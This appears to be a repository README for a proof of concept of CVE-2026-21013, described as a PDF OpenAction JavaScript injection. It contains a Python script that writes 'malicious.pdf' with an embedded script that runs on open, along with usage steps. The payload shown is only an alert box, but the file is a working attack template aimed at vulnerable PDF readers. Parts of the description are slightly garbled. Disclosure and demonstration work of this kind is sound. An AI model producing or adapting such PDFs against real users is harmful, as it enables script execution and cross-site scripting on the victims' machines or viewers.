george0papasotiriou/cve-2026-21013-pdf-javascript-injection-via-embedded-scriptGenerates a PDF with embedded JavaScript to demonstrate CVE-2026-21013, an OpenAction injection leading to script execution in vulnerable PDF readers.
# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")
A PDF generator does not sanitize user‑supplied content before embedding it in the PDF file. An attacker can inject an JavaScript entry that executes when the document is opened, leading to cross‑site scripting (in web viewers) or local code execution (in desktop readers with full JS support).
/OpenActionRun the generator:
python generate_pdf_js_inject.py
Open the resulting malicious.pdf in a PDF reader that supports JavaScript; an alert box will appear.